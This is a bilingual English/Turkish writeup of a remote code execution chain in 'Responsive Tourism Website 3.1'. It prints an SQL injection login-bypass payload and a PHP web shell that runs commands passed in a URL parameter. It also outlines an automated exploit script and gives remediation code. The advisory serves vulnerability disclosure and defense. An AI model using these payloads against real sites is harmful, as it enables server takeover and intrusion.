Responsive Tourism Website 3.1 - Remote Code Execution (RCE) Analysis & Writeup
[EN] English Version
Introduction
In this writeup, I will detail the process of discovering and exploiting a critical Remote Code Execution (RCE) vulnerability in the "Responsive Tourism Website 3.1". As a security researcher (or "black hat" in this scenario), my goal was to gain full control over the server. The attack chain involves two distinct vulnerabilities: an SQL Injection to bypass authentication and an Unrestricted File Upload to execute arbitrary code.
Vulnerability Analysis
Phase 1: Authentication Bypass (SQL Injection)
My first target was the administrative panel located at /admin/login.php. I attempted standard SQL injection payloads on the login form. I discovered that the application was vulnerable to SQL injection in the username field.
By analyzing the source code in classes/Login.php, I found the root cause:
// Vulnerable Code in classes/Login.php
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

The application directly concatenates the user input $username into the SQL query string without any sanitization or parameterization. This allows an attacker to manipulate the query logic.
Payload: admin' or '1'='1'#
When this payload is injected, the query becomes:
SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')
The # character comments out the rest of the query (the password check), and since 1=1 is always true, the database returns the first user record (the administrator), logging me in without a password.
Phase 2: Remote Code Execution (Unrestricted File Upload)
After gaining access to the admin panel, I looked for places where I could upload files. I found the "User Settings" page (admin/?page=user), which allows users to update their profile, including uploading an avatar image.
I analyzed the backend code handling this request in classes/Users.php:
// Vulnerable Code in classes/Users.php
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
// ...
}

The vulnerability here is glaring:
- No Extension Validation: The code accepts the filename (
$_FILES['img']['name']) directly from the user. It does not check if the extension is.jpg,.png, or.php. - No Content Check: It does not verify the MIME type or the actual content of the file.
- Predictable Path: The file is saved to the
uploads/directory with a timestamp prefix, but the original extension is preserved.
This means I can upload a file named shell.php, and the server will save it as a PHP file. When I access this file via the browser, the server will execute the malicious PHP code inside it.
Exploit Development
I wrote a Python script (exploit.py) to automate this entire attack chain. Here is how I constructed the exploit:
-
Session Setup: I used
requests.Session()to maintain cookies across requests. -
Bypass Login: I sent a POST request to
classes/Login.php?f=loginwith the SQL injection payload. -
Information Gathering: Before uploading the shell, I scraped the current user's details (ID, Firstname, Lastname, Username) from
admin/?page=user. This is crucial because thesave_usersfunction updates all fields. If I only sent the file, I might corrupt the admin's profile or cause a database error. I wanted to be stealthy and keep the profile data intact. -
Shell Upload: I constructed a
multipart/form-dataPOST request toclasses/Users.php?f=save.- I included the scraped user data.
- I added the file field
img. - Filename: I generated a random filename ending in
.php(e.g.,xYz_Tagoletta.php). - Payload:
<?php if(isset($_GET['cmd'])){ echo '<b>Tagoletta</b><pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
-
Execution: After the upload, I parsed the profile page again to find the new
srcattribute of the avatar image. This gave me the exact path on the server. Finally, I printed the URL with?cmd=whoamiappended to prove code execution.
Remediation
To secure this application, both vulnerabilities must be patched immediately.
1. Fixing SQL Injection:
Use Prepared Statements instead of string concatenation. This ensures that user input is treated as data, not executable code.
Vulnerable:
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Secure:
$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();
2. Fixing File Upload:
Validate the file extension and rename the file securely. Never use the user-provided filename/extension.
Secure Implementation Logic:
$allowed = array('jpg', 'jpeg', 'png', 'gif');
$filename = $_FILES['img']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if(!in_array(strtolower($ext), $allowed)) {
// Error: Invalid file type
exit("Invalid file type");
}
// Generate a safe, random filename with the original extension (if allowed)
$fname = 'uploads/' . uniqid() . '.' . $ext;
[TR] Türkçe Versiyon
Giriş
Bu raporda, "Responsive Tourism Website 3.1" uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı (veya bu senaryoda bir "siyah şapkalı" hacker) olarak amacım sunucu üzerinde tam kontrol sağlamaktı. Saldırı zinciri iki farklı zafiyeti içeriyor: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.
Zafiyet Analizi
Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)
İlk hedefim /admin/login.php adresindeki yönetim paneliydi. Giriş formunda standart SQL enjeksiyon yüklerini denedim ve uygulamanın username alanında SQL enjeksiyonuna açık olduğunu keşfettim.
classes/Login.php dosyasındaki kaynak kodunu incelediğimde temel nedeni buldum:
// classes/Login.php içindeki Zafiyetli Kod
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Uygulama, kullanıcı girdisi olan $username değişkenini herhangi bir temizleme veya parametreleme yapmadan doğrudan SQL sorgusuna ekliyor. Bu, saldırganın sorgu mantığını değiştirmesine olanak tanır.
Kullanılan Yük (Payload): admin' or '1'='1'#
Bu yük enjekte edildiğinde sorgu şu hale gelir:
SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

# karakteri sorgunun geri kalanını (şifre kontrolünü) yorum satırı haline getirir ve 1=1 her zaman doğru olduğu için veritabanı ilk kullanıcı kaydını (yönetici) döndürür, böylece şifresiz giriş yapmış olurum.
Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)
Yönetim paneline erişim sağladıktan sonra dosya yükleyebileceğim yerleri aradım. Kullanıcıların profil resimlerini (avatar) güncelleyebildiği "Kullanıcı Ayarları" sayfasını (admin/?page=user) buldum.
Bu isteği işleyen classes/Users.php dosyasındaki arka uç kodunu inceledim:
// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
// ...
}

Buradaki zafiyet çok açıktır:
- Uzantı Kontrolü Yok: Kod, dosya adını (
$_FILES['img']['name']) doğrudan kullanıcıdan alır. Uzantının.jpg,.pngveya.phpolup olmadığını kontrol etmez. - İçerik Kontrolü Yok: Dosyanın MIME türünü veya gerçek içeriğini doğrulamaz.
- Tahmin Edilebilir Yol: Dosya
uploads/dizinine bir zaman damgası önekiyle kaydedilir, ancak orijinal uzantı korunur.
Bu, shell.php adında bir dosya yükleyebileceğim ve sunucunun bunu bir PHP dosyası olarak kaydedeceği anlamına gelir. Bu dosyaya tarayıcı üzerinden eriştiğimde, sunucu içindeki kötü amaçlı PHP kodunu çalıştıracaktır.
Exploit Geliştirme
Tüm bu saldırı zincirini otomatize etmek için bir Python betiği (exploit.py) yazdım. İşte exploiti nasıl kurguladım:
-
Oturum Kurulumu: İstekler arasında çerezleri korumak için
requests.Session()kullandım. -
Giriş Atlatma:
classes/Login.php?f=loginadresine SQL enjeksiyon yükü ile bir POST isteği gönderdim. -
Bilgi Toplama: Shell'i yüklemeden önce,
admin/?page=usersayfasından mevcut kullanıcının bilgilerini (ID, Ad, Soyad, Kullanıcı Adı) çektim (scrape ettim). Bu çok önemliydi çünküsave_usersfonksiyonu tüm alanları güncelliyor. Sadece dosyayı gönderseydim, admin profilini bozabilir veya veritabanı hatasına neden olabilirdim. Gizli kalmak ve profil verilerini korumak istedim. -
Shell Yükleme:
classes/Users.php?f=saveadresine birmultipart/form-dataPOST isteği oluşturdum.- Çektiğim kullanıcı verilerini ekledim.
imgdosya alanını ekledim.- Dosya Adı:
.phpile biten rastgele bir dosya adı oluşturdum (örn.xYz_Tagoletta.php). - Payload:
<?php if(isset($_GET['cmd'])){ echo '<b>Tagoletta</b><pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
-
Çalıştırma: Yüklemeden sonra, avatar resminin yeni
srcözniteliğini bulmak için profil sayfasını tekrar ayrıştırdım. Bu bana sunucudaki tam yolu verdi. Son olarak, kod yürütmeyi kanıtlamak için?cmd=whoamieklenmiş URL'yi yazdırdım.
Çözüm ve Kapatma
Bu uygulamayı güvenli hale getirmek için her iki zafiyet de derhal kapatılmalıdır.
1. SQL Enjeksiyonunu Düzeltme:
Dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanın. Bu, kullanıcı girdisinin çalıştırılabilir kod olarak değil, veri olarak işlenmesini sağlar.
Zafiyetli:
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Güvenli:
$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();
2. Dosya Yüklemeyi Düzeltme:
Dosya uzantısını doğrulayın ve dosyayı güvenli bir şekilde yeniden adlandırın. Asla kullanıcı tarafından sağlanan dosya adını/uzantısını kullanmayın.
Güvenli Uygulama Mantığı:
$allowed = array('jpg', 'jpeg', 'png', 'gif');
$filename = $_FILES['img']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if(!in_array(strtolower($ext), $allowed)) {
// Hata: Geçersiz dosya türü
exit("Geçersiz dosya türü");
}
// Orijinal uzantı (eğer izin veriliyorsa) ile güvenli, rastgele bir dosya adı oluşturun
$fname = 'uploads/' . uniqid() . '.' . $ext;